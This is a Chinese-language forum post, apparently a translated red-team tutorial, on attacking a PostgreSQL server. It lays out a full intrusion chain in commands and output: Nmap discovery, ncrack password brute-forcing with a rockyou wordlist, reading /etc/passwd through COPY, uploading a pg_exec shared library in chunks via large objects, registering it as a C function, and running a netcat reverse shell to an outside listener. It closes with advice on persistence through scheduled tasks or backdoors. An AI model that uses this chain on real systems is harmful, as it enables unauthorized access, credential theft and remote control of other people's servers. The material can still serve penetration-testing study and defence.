PostgreSQL是一款流行的开源关系型数据库,支持多平台。很多的POSIX操作系统和Windows操作系统上都有安装这个数据库。当所有软件变得越来越复杂时,攻击面也会不断增加,所以Postgres也一样。根据系统配置,Postgres能成为红队利用的重要资源来进行系统入侵。由于postgres很常见,而且支持性良好,有很多的预安装工具,非常有利于你漏洞利用过程(参考metasploit的一些例子)。如果你想完成某件事情并且进行总结和提取要点,那么了解基础知识是非常重要的。现在我们开始学习攻击PostgreSQL数据库。
服务发现
Nmap是一款发现各种服务的扫描神器。我们也可以选择masscan或者unicornscan,还有其他的扫描器,不过一个Nmap足够了。一条简单的Nmap命令就可以进行Postgres数据库目标发现了。在这个例子中,我们的目标是单机部署的sqlserver,不过我们也可以对批量主机或者是一个网段进行扫描探测。命令如下:
$nmapsqlserver
StartingNmap7.40(https://nmap.org)at2019-02-1108:42UTC
Nmapscanreportforsqlserver(172.16.65.133)
Hostisup(0.0000020slatency).
Notshown:998closedports
PORTSTATESERVICE
22/tcpopenssh
5432/tcpopenpostgresql
Nmapdone:1IPaddress(1hostup)scannedin0.13seconds
从扫描结果可知,目标主机是存活的,并且运行着PostgreSQL服务,而且暴露在外网。
服务访问
我们可以利用很多方法来访问机密服务。如果你运气不错的话,Intelligence feed可能会显示访问权限,或者是有一个共享文件夹,里面存放着凭证,也有可能有不安全的配置信息。不过,很多时候我们都需要下功夫去研究琢磨。凭证爆破(利用用户名和密码对凭证进行有效的暴力破解)是一种必须的手段,网上有很多的暴力破解工具。我们可以利用hydra,metasploit,还有很多其他的。不过这里我们使用ncrack这款工具。
第一次,我们先尝试攻击postgres数据库的默认账户,用Rockyou破解字典。在kali linux中,Rockyou字典是系统自带的,不过不能直接使用,你需要先进行解压,字典位置/usr/share/wordlists/rockyou.txt.gz。由于我本人使用的是kali Linux,所以我们在使用之前,先对它进行解压。
$gunzip/usr/share/wordlists/rockyou.txt.gz
接下来,我们通过ncrack这个工具,加载字典来攻击PostgreSQL服务。我们需要指定要攻击的服务(psql://),指定目标(sqlserver),指定目标用户(postgres),最后再指定爆破的字典(Rockyou.txt)。
$ncrackpsql://sqlserver-upostgres-P/usr/share/wordlists/rockyou.txt
StartingNcrack0.5(http://ncrack.org)at2019-02-1109:24UTC
Discoveredcredentialsforpsqlon172.16.65.1335432/tcp:
172.16.65.1335432/tcppsql:'postgres''airforce'
Ncrackdone:1servicescannedin69.02seconds.
Ncrackfinished.
扫描完成,可以看到我们扫出了一个用户的凭证。如果这个扫描失败,我们也可以尝试遍历更多用户,测试更多的密码。Ncrack还支持加载用户名字典,使用参数 -U。不过,这里我们已经获取到了一个凭证,我们就可以使用psql终端来连接我们的目标远程数据库了。
$psql--userpostgres-hsqlserver
Passwordforuserpostgres:
psql(9.6.2)
SSLconnection(protocol:TLSv1.2,cipher:ECDHE-RSA-AES256-GCM-SHA384,bits:256,compression:off)
Type"help"forhelp.
postgres=#
成功连接。
服务侦察
现在,我们有了访问权限,我们可以进行一些侦察。首先开始遍历用户和角色。不过我们应该有目的性的查找下面这些用户名,如下:
postgres=#\du
Listofroles
Rolename|Attributes|Memberof
-----------+------------------------------------------------------------+-----------
postgres|Superuser,Createrole,CreateDB,Replication,BypassRLS|{}
postgres=#selectusename,passwdfrompg_shadow;
usename|passwd
----------+-------------------------------------
postgres|md5fffc0bd6f9cb15de21317fd1f61df60f
(1row)
下面,列举数据和表。
postgres=#\l
Listofdatabases
Name|Owner|Encoding|Collate|Ctype|Accessprivileges
-----------+----------+----------+---------+---------+-----------------------
postgres|postgres|UTF8|C.UTF-8|C.UTF-8|
template0|postgres|UTF8|C.UTF-8|C.UTF-8|=c/postgres+
回复

使用道具 举报

73

主题

76

帖子

235

积分

中级会员

Rank: 3Rank: 3

积分
235
发表于 2019-11-1 17:44:31 | 显示全部楼层
沙发
||postgres=CTc/postgres
template1|postgres|UTF8|C.UTF-8|C.UTF-8|=c/postgres+
回复

使用道具 举报

73

主题

76

帖子

235

积分

中级会员

Rank: 3Rank: 3

积分
235
发表于 2019-11-1 17:45:18 | 显示全部楼层
板凳
||postgres=CTc/postgres
(3rows)
postgres=#\dt
Norelationsfound.
这个表格中的数据并不多,不过有时候你能够发现一些有用的信息来进一步利用。
命令执行
Postgres里包含了一些系统级的函数,并且是公开给数据库操作员的。比如,我们可以使用下列命令,来列举出当前工作目录中的内容,如下所示:
postgres=#selectpg_ls_dir('./');
pg_ls_dir
----------------------
PG_VERSION
base
global
pg_clog
pg_commit_ts
pg_dynshmem
pg_logical
pg_multixact
pg_notify
pg_replslot
pg_serial
pg_snapshots
pg_stat
pg_stat_tmp
pg_subtrans
pg_tblspc
pg_twophase
pg_xlog
postgresql.auto.conf
postmaster.pid
postmaster.opts
(21rows)
我们也可以查看这些文件的内容:
postgres=#selectpg_read_file('PG_VERSION');
pg_read_file
--------------
9.6+
(1row)
我们还可以选择偏移量来选择开始查看的位置,想要查看多少字节的内容。例如,我们来查看一下postgresql.auto.conf文件结尾附近的12个字节内容,命令如下:
postgres=#selectpg_read_file('postgresql.auto.conf',66,12);
pg_read_file
--------------
ALTERSYSTEM
(1row)
不过,pg_read_file()这个函数是有限制的
postgres=#selectpg_read_file('/etc/passwd');
ERROR:absolutepathnotallowed
postgres=#selectpg_read_file('../../../../etc/passwd');
ERROR:pathmustbeinorbelowthecurrentdirectory
不要失望。我们可以创建一个表,然后复制磁盘上的文件内容到表中。然后我们就可以查询表来查看内容了,如下:
postgres=#createtabledocs(dataTEXT);
CREATETABLE
postgres=#copydocsfrom'/etc/passwd';
COPY52
postgres=#select*fromdocslimit10;
data
---------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
(10rows)
获取反向shell
现在我们能够访问服务,能够从磁盘上读取文件。这时候我们来看看能否启动一个反向shell。同样,metasploit也有一个非常不错的payload可以简化获取反向shell的整个过程,但直接利用payload获取shell又有什么乐趣呢?
Dionach公司它们写了一个非常不错的库,提供了pgexec()这个函数。你知道这个函数的作用吗?pgexec()需要对正在运行的Postgres实例相同的主版本和此版本进行编译。你可以使用下面这条命令来查询Postgres的版本信息。
postgres=#selectversion();
但是他也为很多常见版本提供了预置的二进制文件。我们来抓一个看看:
$curlhttps://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so-Opg_exec.so
现在我们有了这个库,但我们如何上传到目标靶机上呢?所幸,我们可以在Postgres中生成LOIDS来存储数据,然后再写入磁盘中。
postgres=#selectlo_creat(-1);
lo_creat
----------
16391
(1row)
记下我们刚才生成的lo_create ID。在下面的例子中会用到。
不过有一点需要注意,LOID条目最大不能超过2k,所以我们需要发出payload。我们可以在bash shell中完成,确保工作目录与使用psql目录相同。
$split-b2048pg_exec.so
现在我们可以编写我们所需的SQL语句来上传payload的所有片段。这个例子中,我们将它们都输入到upload.sql这个文件中。记住,用上面你记住的ID值来替换变量${LOID}。
$CNT=0;forfinx*;doecho'\setc'${CNT}'`base64-w0'${f}'`';echo'INSERTINTOpg_largeobject(loid,pageno,data)values('${LOID}','${CNT}',decode(:'"'"c${CNT}"'"','"'"'base64'"'"'));';CNT=$((CNT+1));done>upload.sql
现在我们已经有了sql文件,我们可以直接将这些语句从磁盘包含到psql中。(同样,要确保upload.sql文件所在目录跟psql相同)
postgres=#\includeupload.sql
INSERT01
INSERT01
INSERT01
INSERT01
INSERT01
最后,我们保存LOID到磁盘中(把16391改成你自己的LOID)
postgres=#selectlo_export(16391,'/tmp/pg_exec.so');
lo_export
-----------
1
(1row)
接着用我们复制到磁盘的库来创建一个新的函数:
postgres=#CREATEFUNCTIONsys(cstring)RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGE'c'STRICT;
CREATEFUNCTION
完美!现在我们应该可以对目标靶机执行远程命令了。不过,pg_exec()函数不会显示输出,所以我们需要执行一些命令来设置我们的shell。
首先,在你的本地机器上设置一个监听器。我们可以在另外一个shell窗口中使用Netcat设置:
$nc-l-p4444
执行反向shell
postgres=#selectsys('nc-e/bin/sh172.16.65.1404444');
我们现在应该获得了一个活跃的反向shell。为了是这个shell更有用,我们需要生成一个TTY。有很多方法可以实现这一点,不过,我们这里使用python。这种方法非常普遍,而且效果很好:
python-c'importpty;pty.spawn("/bin/sh")'
$
成功进入系统shell。
提权
运气好的话,PostgreSQL是以root身份运行的,那么你现在就可以完全控制目标靶机了。如果不是root身份,你只获得了一个低权限的shell,你需要进行提权。这里我就不展开讲解了。网上有很多方法你可以尝试一下。首先,我建议的是设置权限维持。你可以创建一个计划任务来开启远程shell,以防掉线,或者是在某服务中留后门。具体的方法需要根据目标的环境来定。完成之后,你就可以进行后渗透侦察了,查找一些内核漏洞等。
希望这篇文章能帮助你更加深入的理解如何在渗透实战中利用PostgreSQL。
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    Powered by shiliapp.com   © 2019-2020